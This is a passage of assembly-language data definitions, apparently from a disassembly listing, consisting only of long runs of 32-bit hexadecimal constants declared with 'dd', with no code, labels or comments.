		dd 0D0888199h, 1DC260Ch, 3ECBF35Ch, 0E49852F8h,	39B47D1h
		dd 53D584C4h, 0D86F6C58h, 7484FEE6h, 0E2169B9h,	0D3AEA7BAh
		dd 0F1D3D8BEh, 0A3722A1Eh, 0CED225B9h, 0D7CB252Dh, 728EF455h
		dd 0F8BFC909h, 8250B731h, 3427F1D1h, 98BC4D18h,	845191A9h
		dd 42E90E99h, 8107BAAEh, 0B84E0268h, 0A5535347h, 1F833D9Fh
		dd 0E926ABAFh, 0D3FF2BDDh, 95876ADFh, 72964240h, 5FAB5F0Bh
		dd 1707D17Fh, 5798FD2Bh, 0B925A3ACh, 0EF15DF65h, 33C237A1h
		dd 9E153C48h, 74C4E745h, 0B63EA21Ah, 0F10D106Ah, 29DAC154h
		dd 0E8C9F328h, 359A6F9Ah, 24FE99F9h, 0BF35D15Eh, 87D76252h
		dd 0C709FEA3h, 0CE3FE672h, 525869C6h, 103AC72Eh, 0B5D309CBh
		dd 3032C5CAh, 0BE70AE92h, 0C34613C6h, 4558470Ch, 427582C8h
		dd 0E50CB27h, 63C915D8h, 0CF93BD70h, 0A4BB5954h, 0A134C582h
		dd 82CF8C75h, 8648BB13h, 0FAAB3A06h, 80C65004h,	0ED09E5FFh
		dd 1DB69292h, 17FB6EBDh, 0C9FA0EEAh, 0E9EB8C1Ch, 55E26A54h
		dd 8F573FA0h, 9DE2B702h, 2093C6FBh, 7DA1D055h, 0BE3B93B0h
		dd 0E81C817Dh, 697E6921h, 0D09358A4h, 49A870DDh, 53F28166h
		dd 201CE51Ah, 5C0AB116h, 8BEF83A6h, 929AEB47h, 0EB4D3569h
		dd 3ED3FD06h, 0EA449413h, 2C2E4598h, 0B36599A4h, 0EB10832Dh
		dd 0D32FF4C8h, 0D9BD805Ah, 0FBC7CC79h, 6837BF35h, 5C5FB01Dh
		dd 4A18D201h, 8A41546Ch, 754791B8h, 0FF35EED0h,	0D6F66AE5h
		dd 0B3A003ABh, 0E60BA623h, 0FC0C6020h, 33F03944h, 0B6945BCBh
		dd 0F3A77CD5h, 0E0559E40h, 6D458120h, 76CEEF72h, 0EA342160h
		dd 705053EEh, 8D305593h, 9889E96Eh, 6FFAF5FDh, 0ECF42CB9h
		dd 48A9D23Dh, 65B38181h, 85E8E730h, 0E1F4A83Ch,	1D983133h
		dd 0DD6FCA79h, 4113A229h, 0E0EE2D7Fh, 243DBE9h,	0C1D01D88h
		dd 0D34BB8FAh, 0DED95DB9h, 804B77E8h, 0B928787Ah, 0AB60B69Bh
		dd 33221E7Dh, 341D07BBh, 0FF91C49Ch, 0AF6677A8h, 8CAD07FBh
		dd 0C394B697h, 4F66BD2Fh, 0AD4AA364h, 0C44AD2C9h, 58D60E27h
		dd 579E514Fh, 87CD9BCCh, 0DF9DEE99h, 0CF2D2777h, 234798C5h
		dd 328FD662h, 0CAED4851h, 718B1DD6h, 7E03D239h,	0A00E49B2h
		dd 37588F5Ch, 0E8A89247h, 3F30DEAFh, 975357CAh,	0F4C40733h
		dd 105C478Fh, 9242F7EBh, 8556ED69h, 4AC6AB58h, 70AA59BCh
		dd 3938E90Ch, 0ECDF0589h, 0C646DC43h, 42F9A192h, 0E4F5B3DAh
		dd 5151203Dh, 7F95DEAAh, 77E78C40h, 49BF1111h, 0A0DB2384h
		dd 73CCC9EAh, 0FF35C8BDh, 6047DE2Ah, 775BCB56h,	9A8F7142h
		dd 0E73FD7B8h, 9CCB61E6h, 9E6AD4D6h, 0AF0BD04Eh, 9EB85C6Ah
		dd 0AB963FADh, 817982ECh, 0AD6CC3E8h, 0E4ADA6E9h, 0CF586C47h
		dd 816AFAD2h, 3F9D5998h, 599E4805h, 347A3A8Ah, 3AAA6791h
		dd 0A710C3C3h, 749C9110h
		dd 45804B52h, 0BF0A5721h, 4C8A9FCh, 0AD4DC2C1h,	0CF1263D7h
		dd 247CD21Bh, 0A7F470D1h, 0EC894506h, 1E1EAF32h, 2424CA0Ah
		dd 60E0580Bh, 97866228h, 567C05FEh, 0E7CF2EFBh,	447957EFh
		dd 777C372Ch, 0CDA21581h, 57453D61h, 32A459F5h,	53F16926h
		dd 0C78BFD6Ah, 7A4DB55Ch, 552CE658h, 0B4F7031Fh, 8194BED0h
		dd 95DC1F2Fh, 22FA7C5Ah, 16B76F65h, 1728F2B2h, 0F9A91F9Dh
		dd 501AA6B4h, 0A04B763h, 0A94A71F4h, 0FAA46411h, 5A6AB40Ah
		dd 35C48762h, 8E31D677h, 67773CF5h, 0D33426C4h,	0A2E62C92h
		dd 11136246h, 1FED814Ch, 0BDFC0E3h, 0BEF48470h,	4FD725CFh
		dd 101ED122h, 0E637BDBAh, 3F58EC3Bh, 98722C0Eh,	0F8271493h
		dd 0A9790489h, 4679CBD8h, 3CB3BC56h, 0E0B7C6E4h, 0EDA9A02Bh
		dd 0EE71A52Ch, 94418C4Eh, 87054D03h, 0C3A93272h, 0A4A35AEEh
		dd 0A229C572h, 0CA07B4Bh, 0B043C05Bh, 56038F5Eh, 0A8C482CAh
		dd 828E9E23h, 0E0B6754Fh, 63F7915Bh, 0C2189FA4h, 0EC709AFEh
		dd 6BF4A2B1h, 0B4EE8435h, 649A34ECh, 0A8DA804Ah, 0FFB5819Ah
		dd 0EB319CF7h, 0B3AACF40h, 3BE70FE3h, 0E5305C2Ch, 0D8F5BC98h
		dd 273DF7FDh, 10A91C41h, 40C6DE0h, 7B13E965h, 0AE67A8FDh
		dd 0D86F5138h, 135E708Dh, 1E5F13C7h, 2DC6F001h,	9257CACEh
		dd 18B1AB64h, 0FA1714FDh, 39B97223h, 0C23DB4D3h, 0DFFD358Eh
		dd 0B5D6DAA0h, 47078E5Ch, 1F895BA7h, 70A45694h,	0A680EE36h
		dd 0C10F1EA5h, 0A8DB8CD6h, 0BC93D4E8h, 9FE3664h, 0D97C436Bh
		dd 580B6F49h, 0E21F06A9h, 0F56EE5FAh, 8E8165E2h, 1F535232h
		dd 32AC5819h, 83186907h, 0A985713Ah, 0C13B2A5Fh, 8DDF7724h
		dd 0F26B320Dh, 52E0FEAFh, 528BD099h, 9E535038h,	13FEA156h
		dd 0CFD1B4FEh, 0E54606ABh, 0C5825C01h, 872C8DB1h, 7026449Dh
		dd 0CB397C8Dh, 0EC442847h, 3DBEF5BAh, 0AC15764Ah, 97D20CF7h
		dd 0BCF55FA5h, 1DEB0B0Dh, 36C8AD59h, 1D6DE9B1h,	0E20EE10h
		dd 52AC23F9h, 80224212h, 552D92Ch, 40FC8C6h, 2DBCCF0Ch
		dd 8060A705h, 0FF745817h, 58601704h, 874C427Dh,	0A88A9055h
		dd 0E16F9D24h, 93E0535Fh, 6FA52663h, 354FC4DBh,	73AD7698h
		dd 0C489C712h, 4AC69F4Dh, 0D04387C5h, 5809786Bh, 0AA2B431Eh
		dd 1F027F99h, 0F835264Ch, 3D878D84h, 0B588E942h, 1D845853h
		dd 98D64A7Ch, 9766AF66h, 406BC994h, 10E5652h, 0DD1E5AADh
		dd 0A47E0B6Ah, 0CD83C984h, 537C03ACh, 1730FF16h, 7B45B951h
		dd 505671A5h, 1DF8D5B4h, 2A5417EEh, 8BC52DDEh, 0EB2E711Fh
		dd 840A4519h, 1585EE7Bh, 7022E39Fh, 6742F1FDh, 0AD9B672Ch
		dd 0A0019C82h, 0F1798347h, 2E97120Eh, 779132ABh, 3AE8305Fh
		dd 0A105FECDh, 0C1128A3Dh, 14F26580h, 0F7DCBCF2h, 987D93CAh
		dd 6D63909Ch, 336060CEh, 0CFBFC5E3h, 804158B2h,	7E49D88Eh
		dd 0EA05359Ch, 530E7A3Eh, 516F6E4h, 2B2AC67Bh, 77D66A7Ch
		dd 0BA3C1904h, 7912F29Fh, 0EA09D824h, 538C1E31h, 8F0BA20Dh
		dd 41C92C37h, 4F8ED420h, 4FF7FE87h, 36233D6Dh, 77D89400h
		dd 9245BA1Fh, 8DF4D07Ah, 1D663C5h, 580D7652h, 0B13560D2h
		dd 9F429E53h, 57D56B81h, 0E33E68EAh, 49B7690Dh,	0F289BA12h
		dd 44BCC969h, 4F4EF64Ah, 0D3BDFCA9h, 56BEE947h,	21DDFC71h
		dd 7F627D95h, 0B1A06B15h, 79BE7B48h, 0C9D2A9Eh,	93541430h
		dd 510A3BFh, 0F18EB540h, 48E2294Bh, 6E9C5A65h, 0CEC47D37h
		dd 914AFED3h, 999CA9C9h, 0F44447E0h, 15E72121h,	1DBE9C65h
		dd 4C1C3D73h, 0F08D2CBh, 89C934F5h, 0EB2E89E5h,	0AAC2D101h
		dd 0D2CFE621h, 0C1FEAA93h, 540C31BEh, 79809A80h, 63D41E6Ch
		dd 49E835BEh, 4B98D728h, 8976EE72h, 98DE6625h, 0C5364253h
		dd 42460B51h, 0B245FF69h, 0F8C66110h, 0B4C1A248h, 81C50C0Ah
		dd 5397C570h, 0A614DFA1h, 5CF924DEh, 7EABE3F2h,	71E2244h
		dd 63025B0Ch, 0FBF65E2Fh, 0AD8152FBh, 55B5B468h, 9B506E8h
		dd 8DA7CC1Eh, 8F39FB20h, 0A3A2EED5h, 0D03116D1h, 48989D05h
		dd 0B2DACABh, 133A2AF4h, 4932A5h, 90E3C8FAh, 0E3A3491Fh
		dd 0A46FBF1Eh, 81CEDF21h, 7CEE78A6h, 1033A07Ch,	9928BA95h
		dd 9303DF41h, 3C16E901h, 0C25CF848h, 0F1F60132h, 5ADA74AFh
		dd 324DB37Fh, 5F8E084Ch, 0DB5CC826h, 3BF39224h,	4262AFA3h
		dd 0F52F41BFh, 0B0385C6Bh, 0BBF8A151h, 0E9BDFEBh, 6DD58FBh
		dd 0A4F2BEABh, 0B818F8BDh, 769B4CEh, 0CF4F24FDh, 0FCCA5CC8h
		dd 0B418C056h, 81419F3Ah, 0A45102D0h, 5623008Ch, 13ACC894h
		dd 0B85AFEE7h, 0C68D76D3h, 0CE3877D7h, 9CAAB2C4h, 0DAEBCA60h
		dd 9ACF8442h, 0F67F0955h, 3706C5CCh, 0F5297EF7h, 67C5B4E4h
		dd 2C91BEBAh, 0FE6C4E0Fh, 0C21ECD95h, 4F43451Bh, 0F7095A53h
		dd 0B576836h, 81DEAF20h, 0E7AD5C7Ch, 0A34341CDh, 5A89FF60h
		dd 44922EE3h, 814B56A6h, 0C40C641Fh, 21AA5271h,	5E7B6D88h
		dd 0BA93E8DCh, 512CF1B0h, 58ACF23Eh, 7A8CC7A7h,	69E079A3h
		dd 0C0241A1Ah, 2919D8EEh, 0DD0C2460h, 0C82464C2h, 2D29B3BCh
		dd 2C2EB9E4h, 0A7C1A3BDh, 8B4E4782h, 0CCC5117h,	0AAB03C93h
		dd 0F6D8D38Ch, 0D7F17100h, 27F1BEBEh, 8388A47Fh, 0AEAC8DF8h
		dd 526A6A4Dh, 0A35885CCh, 217AC8E5h, 4478FBBEh,	2D513DF9h
		dd 5500012Fh, 4A5A38FEh, 5CEE39Bh, 9DE2CBB0h, 0F72643BCh
		dd 3DF96DA0h, 0E5C3FFE0h, 5CB1E1E6h, 37E64EC1h,	0EB1B727Ch
		dd 0C330E675h, 0BD2321DFh, 6486E57Ch, 5166D008h, 47561C58h
		dd 9BF7ED5Ah, 7BC29093h, 0A7D0706Dh, 66720A4Dh,	798AAEDAh
		dd 1D416EBFh, 1479D02Ah, 68B4B9E2h, 0FD8D782Bh,	1750C6FEh
		dd 84EE5657h, 82256AD9h, 0B9D2D0CCh, 642AE605h,	1B5489EDh
		dd 4F6A0C45h, 0F616FF96h, 201FD58h, 7F04E7A1h, 0A1CD5D1Bh
		dd 71DF5651h, 914ED3D3h, 0F890A9B0h, 0EE152BF3h, 437A06CFh
		dd 9E1555Fh, 929BA627h,	3148DEB0h, 0F29C9ABFh, 27D009C4h
		dd 0A74E1DAAh, 2DF602ACh, 0F7B244DDh, 4B9521E7h, 0E48E4BAEh
		dd 0C86F3E46h, 9D8450BFh, 0E6E14577h, 1BB56CF7h, 0A0B89CC4h
		dd 0FA1DF04Ch, 280302BCh, 0A7ABA835h, 786D40BAh, 2B334C45h
		dd 35C8FBC6h, 0FEDD4119h, 65B85523h, 0BAA88CE2h, 0D118A706h
		dd 7F982330h, 0D662D797h, 0A6F89946h, 0C72D1A34h, 4780C4C9h
		dd 8BAB9083h, 7A87E151h, 925D1C63h, 0C075098Dh,	0E1370DD7h
		dd 69DD6C72h, 0D24D1C8Ch, 859BC6EEh, 4EB5F1Dh, 0BEB5D8CAh
		dd 3C0AFC78h, 0C88C807Ch, 60BA738Eh, 59A46CD5h,	806C0FAh
		dd 65F62AC3h, 164D88D3h, 35FC7DF3h, 0F98C0A77h,	4735343Ch
		dd 8FB69324h, 0E6279EA0h, 442BA94Dh, 4984E735h,	0CBAC2CB1h
		dd 73818B29h, 0C1157BB5h, 2A58683h, 0D4B90F87h,	0C68398C5h
		dd 182C994Eh, 3F0DA0B7h, 39B43491h, 91F2555Eh, 319701Ah
		dd 4BFBA746h, 0E933CFAFh, 55B12210h, 3A3878C4h,	321D9E92h
		dd 42459DEDh, 2FEB9A0Bh, 1CCADB60h, 2BC8D98Dh, 4B580606h
		dd 39CF2173h, 8C7D9EA3h, 52ACE3C9h, 29E3FBB3h, 0F2EE524Ah
		dd 0EC528A0Ch, 0F65CE16Ch, 8BFA1AE7h, 69A276D9h, 77866EE6h
		dd 2269234Ch, 80221175h, 76499348h, 7FA7ED92h, 58441B88h
		dd 0E372A2Eh, 0B5BCE930h, 1E29E006h, 7922737h, 0A3677F82h
		dd 52182D12h, 0E0AB4674h, 0ECC6D07h, 42B647B4h,	0F1143C46h
		dd 85147FEEh, 0FCD1EA92h, 7F960659h, 0C9E12F6Fh, 0A96386FEh
		dd 4316B877h, 7AD19181h, 55C7C2BEh, 0BCE4BD04h,	3D24C316h
		dd 99D8E0CFh, 55895172h
		dd 590EEBB5h, 0B5787C70h, 22A118A7h, 879718C3h,	740B58FDh
		dd 7CE5AEF8h, 2E362BABh, 34A501CCh, 0A3DDA025h,	6A0F374Ah
		dd 4C20728Ch, 86877BEDh, 843C4CF7h, 0CC43436Ch,	3143F32Dh
		dd 35ECE7E1h, 2F43156h,	127EEC5Eh, 9147B591h, 0C8B9A675h
		dd 2B7EB383h, 81386D9Ah, 0D68D794Eh, 31753D55h,	5A004947h
		dd 5645580Ah, 85D7183Ah, 0EC86A35Bh, 60467E4Ah,	0D8AA0C44h
		dd 0C445989Bh, 64089289h, 2E017FDBh, 7D1CA1A7h,	6A119081h
		dd 1B482C81h, 4A6EF151h, 56F9A8A6h, 7EDF961h, 0A67964B6h
		dd 87772437h, 0BDAFBE1Bh, 2286A0E7h, 58F876B2h,	0A33D3804h
		dd 0A8059E41h, 313C3720h, 0C8061A10h, 637F0B54h, 0FCB49812h
		dd 14AD9BFFh, 0E4BC5F70h, 55914A16h, 695E5E38h,	6757925Ch
		dd 0E48944F5h, 5B13B30h, 9EBFEE68h, 431AE0C4h, 0F286E316h
		dd 50B4A9FEh, 9C0F9EB1h, 0C1D64192h, 21AC8094h,	0F3E6938Bh
		dd 0A7C24C7Fh, 0F9129D88h, 769A66CCh, 0AFF6A0DAh, 0A25A47F9h
		dd 8DE8FB45h, 0AF5A1A94h, 455305C1h, 9E8F66A9h,	0E3F24CB4h
		dd 9448BF18h, 0A7DE8397h, 0F83223E7h, 9A246269h, 4707B99Ch
		dd 36AFB04Bh, 0D387DA3Bh, 8AB46A3Dh, 39C79147h,	5CA118F5h
		dd 1486745Eh, 3E982D59h, 0F2C1FB82h, 0EC85EDCFh, 118EEF5Ch
		dd 0DA2BAC51h, 0ED2CC699h, 98151F22h, 51306A7Ah, 516589A1h
		dd 0A4D483DCh, 4B43985Fh, 44F550A2h, 3E39B565h,	846F8A1Dh
		dd 20FE7888h, 0BA99F639h, 445E29D2h, 9363BDF8h,	0EC3481DDh
		dd 743098F1h, 0A0AFE380h, 1ECAE56Bh, 17397696h,	0D09ED11Eh
		dd 0CB71F078h, 7DD4E269h, 362EA862h, 257B8424h,	5439C873h
		dd 0A74A96BCh, 0A5B93562h, 8F7DE542h, 451A279Bh, 0DFA5CBh
		dd 5A38E856h, 9A69AA95h, 35EAF493h, 63D7E7C1h, 84A20DC6h
		dd 2EB11131h, 0E4F9F6AAh, 4CC7C0AFh, 6E6C38B6h,	7647A901h
		dd 50BF4126h, 0CE092280h, 0C455C64h, 4537A28Eh,	0B71BB077h
		dd 0B14278Eh, 2C074D35h, 42CB68ACh, 0EBA59810h,	0E785E3F8h
		dd 892F12C3h, 1C4F5CC0h, 81FC92B7h, 6D79D022h, 977B4FC7h
		dd 3D28619Eh, 6C2760F1h, 750FB9C3h, 88977B21h, 7383E5BCh
		dd 42F3E930h, 7C1F85EDh, 0F1194C1Eh, 0C0603A80h, 0FD3AEE3Eh
		dd 8ADB9035h, 0B4CAC155h, 0F3722DC3h, 0FCFD196Bh, 0F6E2855Fh
		dd 2D40387Ah, 0C13DC6F2h, 0A415FFEEh, 8A319F0Ch, 199EC780h
		dd 9EEF2B35h, 7C89A0Dh,	51FC6D1Ah, 0ADD4C217h, 0FCF2077Fh
		dd 0BF4755CCh, 0F3C36DA9h, 377A2175h, 4CB5DC44h, 0CFB0F114h
		dd 31B12B4Dh, 635A2C63h, 0AB4708EEh, 9DF34081h,	0BBC18BA7h
		dd 0E9CEE81Dh, 682243A6h, 0F84270CAh, 7AE1C98Ch, 5AF5B1F6h
		dd 621B0Ch, 1D8B8FFBh, 9A98987Ch, 1BDC8211h, 0E51A0AF4h
		dd 0A64A7407h, 8FF357C7h, 4FF387FAh, 0FED6FAA4h, 77DC54AEh
		dd 0B31D61F9h, 1653FDB2h, 4FA767CFh, 0E6C413D3h, 0BC9E2AD3h
		dd 7A4C134Eh, 0DA96A21h, 979210ECh, 0C7AEF027h,	0A7BFD5AAh
		dd 0FC27869h, 1561143Eh, 2104FD10h, 0A83C4736h,	8D601EDBh
		dd 0FA6BC318h, 638D4E9h, 5D6A1202h, 4E06C443h, 0BDAE1284h
		dd 0FBDB202Ah, 5CC9B666h, 4E67A785h, 0F85F7002h, 0B1A61F40h
		dd 28AACFBCh, 22C5AB37h, 0B65B33CEh, 0FAE4A978h, 2D5CB367h
		dd 3DE4512h, 0DF9CBEFDh, 6F1E0145h, 75620F12h, 0ECF3EDE1h
		dd 0CFDEF5CBh, 62EBDAA9h, 0C7672BD8h, 413CDBEFh, 9BEDCEB2h
		dd 0E25A574Bh, 84068623h, 954802C6h, 0DF3A1328h, 0A41B7D5Bh
		dd 3FD3B04Ch, 0BFC4DFF8h, 0D1AB7B10h, 8134383Ch, 37561BB3h
		dd 93FA5291h, 2D945195h, 6371F801h, 0C6CB7BDFh,	0A32F1B22h
		dd 0E875B63h, 778BAEEDh, 7E97AD5Ah, 636CE6DBh, 38EEE77h
		dd 2FC9CEE6h, 0AB2143D6h, 2E16AE0Fh, 0BDE9DDF6h, 179B885Bh
		dd 32E0F792h, 77ABFD2Eh, 0E12391D3h, 7F024121h,	0C9D9A64Bh
		dd 8FAB4A2Fh, 2056D65Fh, 551A1205h, 0DC16458Bh,	1202E209h
		dd 0CF043E03h, 0D19DAB26h, 11E35898h, 2171E269h, 3FE757E1h
		dd 0B31C517h, 3132818Ch, 0CA9623E5h, 0EC0C19E8h, 8195CFFBh
		dd 0B36E083Bh, 0B8BF698Ch, 0B67E7EDDh, 8E17505h, 20177A9Eh
		dd 0A0325588h, 985E8AE4h, 0F2FE9D7Ah, 0AAB97267h, 0BEABD3C6h
		dd 0F0C4C5B7h, 0A37547F1h, 0FFFDD04Ch, 0B6EAD674h, 82241C90h
		dd 62492D0Dh, 83F805ACh, 656FB4F4h, 2E2111C3h, 516FACBBh
		dd 0EDF93341h, 0C1011CE7h, 0E815DD70h, 3CD551C0h, 0C38B7649h
		dd 2747EF44h, 0CE644E6Ch, 61E69B2h, 4A2563B8h, 1615EE0Ch
		dd 77237FB2h, 0A9121E2Eh, 6731692Bh, 0E74441EBh, 6070D16Fh
		dd 0AF3B8E27h, 0CCA72009h, 0FC968811h, 853B882Ch, 0DC775B5h
		dd 655CD0FEh, 795F9D00h, 209D56C2h, 9C08B141h, 0D34835D4h
		dd 1E68C407h, 1BB94C42h, 48048C04h, 47F26700h, 4C78183Bh
		dd 0B818AC64h, 6909F42Eh, 0F477F4A4h, 5671CFD7h, 3A73691Ah
		dd 59F4C660h, 9A9F2B6Dh, 6C70823Dh, 37DBADFh, 25C1342Fh
		dd 0DFE5CAA0h, 2C011752h, 21B2E912h, 869D9E9Bh,	6F7C3EBBh
		dd 0C545439Ch, 40F63945h, 0FDC8C012h, 0C3F0E7h,	992B5CB3h
		dd 2B295B78h, 29DAAE21h, 0A6FB7AA7h, 78ACB1Ch, 3256030Bh
		dd 29828CCDh, 8FE57F04h, 9FF35814h, 5F5F461Ah, 8D3AC187h
		dd 0AD06D358h, 7ABC9270h, 0F371DF03h, 62F64D95h, 0B7177555h
		dd 16D8C126h, 0A5F8C22Ah, 0ADCC37Fh, 1C8AC4DAh,	722FAF56h
		dd 459CC7Fh, 32153258h,	0EA712D4Fh, 38980BBFh, 64EB4CCFh
		dd 7F15384Bh, 0EF74CBBAh, 0C1B71AC7h, 662B0066h, 95A8D2D9h
		dd 951A2B9h, 562EDF22h,	0F3F10B64h, 0F30B770Bh,	0B5C275DFh
		dd 221C5B07h, 0E1928587h, 24F998D5h, 0BC0A6CEDh, 6DBDC1AEh
		dd 154A51A3h, 0A43B4DBFh, 0BE3FAAF0h, 0A854C21Fh, 1814FF71h
		dd 89FAECA2h, 195FE75Ah, 3B485CBBh, 0A228FF15h,	74037262h
		dd 14DE5F3h, 0C2B695E4h, 5A369B6Ch, 2DEF5169h, 0B65BBA15h
		dd 5866AEFCh, 3C91F3A9h, 0CA08ACA4h, 9442E1B9h,	7E27D69h
		dd 67C62960h, 637EB4F4h, 0F1E4734Dh, 279E6907h,	29A9B303h
		dd 92FF252Ch, 3B833D48h, 7E81248Dh, 8A347B42h, 0FB872D5Fh
		dd 0A6155BFCh, 30FBFC08h, 41EC5B58h, 28284887h,	0E945757Ah
		dd 0ACEF46D5h, 0E10A5F80h, 0DD8F5A5Ah, 270470F3h, 733E1CA9h
		dd 1F144F93h, 0ED8E80A5h, 0D07CF020h, 0C7063B39h, 0C3AC5787h
		dd 413D565h, 59ACAD0Fh,	0F47BAE4Ah, 0EADF9278h,	4DE6F729h
		dd 0A34E0EB1h, 0EADF5458h, 0F15A9154h, 0D14C6F8Ch, 0FBF9A610h
		dd 39A7611Bh, 0A5DF1F3Dh, 48DFC7CEh, 6A65EC46h,	44015328h
		dd 19A54267h, 23580E0Eh, 7D263689h, 4F3E2862h, 489ADF6Ch
		dd 6F6A01DDh, 8D463E1Ah, 22F44C0Ah, 0ED62D7h, 0C79C0A53h
		dd 35FE374h, 44DF49Fh, 9B97F205h, 0A29A95A4h, 6A25872Eh
		dd 66D7B4CCh, 0D7768426h, 0E58A7ED8h, 0F77D85A6h, 5AE748Eh
		dd 0AE123C67h, 41B2B2B2h, 5D4EB100h, 0C0C5838Fh, 423DD2Eh
		dd 0AFD46B95h, 0DEDA31F6h, 87F18211h, 0ACF8C136h, 61BA9565h
		dd 2C63E9EAh, 36194D28h, 8C1EA87Fh, 0A37763DEh,	0C169C5CAh
		dd 25652638h, 91A8C419h, 0EC76DA47h, 0EDA9AFA0h, 42FF3A47h
		dd 0AF5B079Ah, 0C33D8E2Dh, 4F9D341h, 0B4DECB10h, 0DB1D5660h
		dd 0BA3534D0h, 8A489A33h, 87800D27h, 0C446FDACh, 20F94326h
		dd 0F8A0B228h, 0BA1D5A88h, 0A8F1487h, 7202EADBh, 0D0264B55h
		dd 84224CF7h, 5BCB1276h, 8FB851C4h, 26966DCBh, 0C2A1E526h
		dd 97FAF01Ch, 0A0C0DABEh
		dd 972AB740h, 8B8DD6D3h, 0F4F4EA95h, 1875746h, 1F9C74DDh
		dd 0A6EF5E76h, 0B947E26Ah, 0EEBFD6A8h, 1CA8E224h, 37EB1536h
		dd 0E6B82C9Bh, 0EEFFE5FEh, 99C621E7h, 0C2BAD06Dh, 9431A5B5h
		dd 0A01277FDh, 0F7D8932Fh, 0D850FB50h, 29D6B202h, 6CDA3D09h
		dd 36535D32h, 0F1EAB6Fh, 0F97E53C4h, 909BD951h,	0A2CC6238h
		dd 0C1F7F130h, 260C9151h, 8C18BCE9h, 0D91E09A9h, 3EB78087h
		dd 2A2352BEh, 62B8A10h,	2277A6Fh, 0C25055E0h, 7DC7E385h
		dd 8DCAAFFAh, 5EA55BC7h, 0E179CAE3h, 7DD624B3h,	3A7F77B2h
		dd 74DCC559h, 1C36E261h, 7B671D75h, 569E74ACh, 6591C9D2h
		dd 2D20244Ah, 34C8A8D6h, 501D36F7h, 0CCE5D39Ch,	7492B46Ch
		dd 0A5ECB78Eh, 490F7226h, 5D896A6Fh, 416FF77Dh,	0DA6C39A0h
		dd 9D4860D3h, 486E9E81h, 9EF23A4Eh, 1C10BD92h, 83012084h
		dd 2C2BF2D5h, 0A0DF1545h, 608A01A4h, 53691B0Eh,	0B5AD99D6h
		dd 0BEC17263h, 562F54ADh, 0EE12BE02h, 0F7F8BEF8h, 596B61E8h
		dd 0A61958F4h, 8A04B35Bh, 4607681Ch, 3E11372Ah,	0A3F9B5h
		dd 8CBA53A5h, 0CC503092h, 0C1E35EFEh, 87711836h, 869BFD28h
		dd 4490CEA5h, 678484EEh, 6F62E4E9h, 27056C7Bh, 2CDFF8B3h
		dd 0B552479Ah, 0B6F8E698h, 0D49E4BD7h, 7C7E66DEh, 4BC37B32h
		dd 1074A3FCh, 0A7AEA5C1h, 0A16BA8B9h, 0F2EB07CBh, 0F158805Bh
		dd 3EF123F9h, 9C1EC484h, 63C0BB69h, 0C5278759h,	0C14AD6F3h
		dd 982BB26Dh, 674991FBh, 5CC610B0h, 0ADD05261h,	23C489C4h
		dd 0B60AD070h, 0ED021DF9h, 659990D7h, 0DDCCEA70h, 9896854Ch
		dd 412961C9h, 0E615AE13h, 0FB4A4775h, 9A27BEEEh, 0D06F5F20h
		dd 8A83B527h, 63037D7Ah, 45E9BC9Ah, 0E918261Eh,	0B73FF811h
		dd 7D966CA5h, 0D82C8B4Ch, 1E245270h, 0C8556856h, 14F727C2h
		dd 0E88F3A28h, 20F2C7E3h, 8759DAB6h, 3873A92Ch,	0C15874AFh
		dd 6CC3CDEAh, 8112F3EAh, 0A14A8B18h, 5BBAE157h,	12D34871h
		dd 6EBE5E1h, 832C1BB5h,	3761F1D3h, 0EF7A1F34h, 95E539FCh
		dd 39E23947h, 61EC91F4h, 0BD4E9529h, 18237799h,	0ADA48AB7h
		dd 7A1369B0h, 0CAC01719h, 0DA7885E2h, 0D2F740B1h, 0BF4A6C2Fh
		dd 4A808F35h, 9DE22989h, 1A7FF4A6h, 0F38AA5F5h,	67975B8Fh
		dd 0CB757670h, 0B7935DB3h, 36013826h, 0F3E64F5Bh, 0CBCD6E16h
		dd 0CA0A1E3Eh, 9A3C2937h, 87123FDDh, 24AC1C3Ch,	0D22C8846h
		dd 0E6D1A49Ch, 0FE8464FCh, 4109FEh, 0C097A6E2h,	0F75A0329h
		dd 3FF97780h, 266E7AC4h, 8BC225EAh, 0E93375Fh, 0F41656BCh
		dd 260B0533h, 4615B6A2h, 1CEAB68Dh, 3048F134h, 3647C4C4h
		dd 0C9F99F70h, 96EB82ACh, 85F04BCAh, 77B47FCAh,	0E8C07E54h
		dd 7DC52B68h, 3129E920h, 4C319DCCh, 5A793AA0h, 2F3E87CCh
		dd 0BC527DB5h, 2E096B94h, 0A704580Ah, 0FCE66012h, 2D326CABh
		dd 0E7C3A8C4h, 97749F27h, 24F761B3h, 7928ECF0h,	0E34A8C45h
		dd 0EEA75861h, 0C89FD450h, 0AC3D72C1h, 496308D8h, 0C56CC2BEh
		dd 0E2FC20F6h, 0C4FD3319h, 8CA1EB2Ah, 0DDA10E5Ah, 0DD9EFD3Dh
		dd 1CE0D8A9h, 27BE5C81h, 85EC2E93h, 7B3E1B75h, 0C7A9E237h
		dd 65D6D1A8h, 525D1A3Ah, 7290B51Eh, 0FF5B9433h,	0E4502385h
		dd 6B2DB131h, 8A11080Fh, 460B4156h, 0D9965B8Fh,	0A60C4415h
		dd 6FE54B6Fh, 178BEC23h, 0A95CBC24h, 0F0003FA3h, 0C1171ED6h
		dd 9EE4B056h, 40AA3787h, 5DA1048h, 1B1C0938h, 2577C99Ah
		dd 8D90CC10h, 0BD964502h, 9B904B7Ch, 69FD59B3h,	9F814493h
		dd 0F5D12878h, 9B8DD033h, 0F3B45BF5h, 0C0691141h, 8826A4CFh
		dd 3F084C7Eh, 0CDCAF3EAh, 0A5F0EC28h, 0EC40E277h, 0C1F4890h
		dd 8B53696Fh, 8208A9ACh, 57D6194Ah, 9F9517B6h, 0A73E37EBh
		dd 72A0FF21h, 6462A11Bh, 0FA61C3B9h, 0AB2CBA0Ah, 0EFA9A737h
		dd 5685D03Bh, 0F0CE32D0h, 8D690DAEh, 91381494h,	0B3AE5C3Eh
		dd 0BAE70B46h, 0E9697A59h, 42DC593Bh, 454A500Dh, 4326C71Dh
		dd 242A91A4h, 55D965B1h, 0C718104Dh, 32D7E3B3h,	9421E1D4h
		dd 987FCF5Eh, 4E59D352h, 98CF01E7h, 0FE099A44h,	0E26ADBFDh
		dd 157C2A02h, 2A2E8CDDh, 0FD410B7Ah, 0AA16A7B9h, 2E6E2BF9h
		dd 2B15FA1Dh, 804F8984h, 0DB683AFEh, 0F41E14D9h, 8C728DBh
		dd 516EFFF7h, 52D0F95Fh, 0EC11AE85h, 0C5789C1Eh, 0A8C05E3h
		dd 80AD1E2Dh, 660E6B71h, 4431CEEh, 7A8A40DCh, 1BC5393Eh
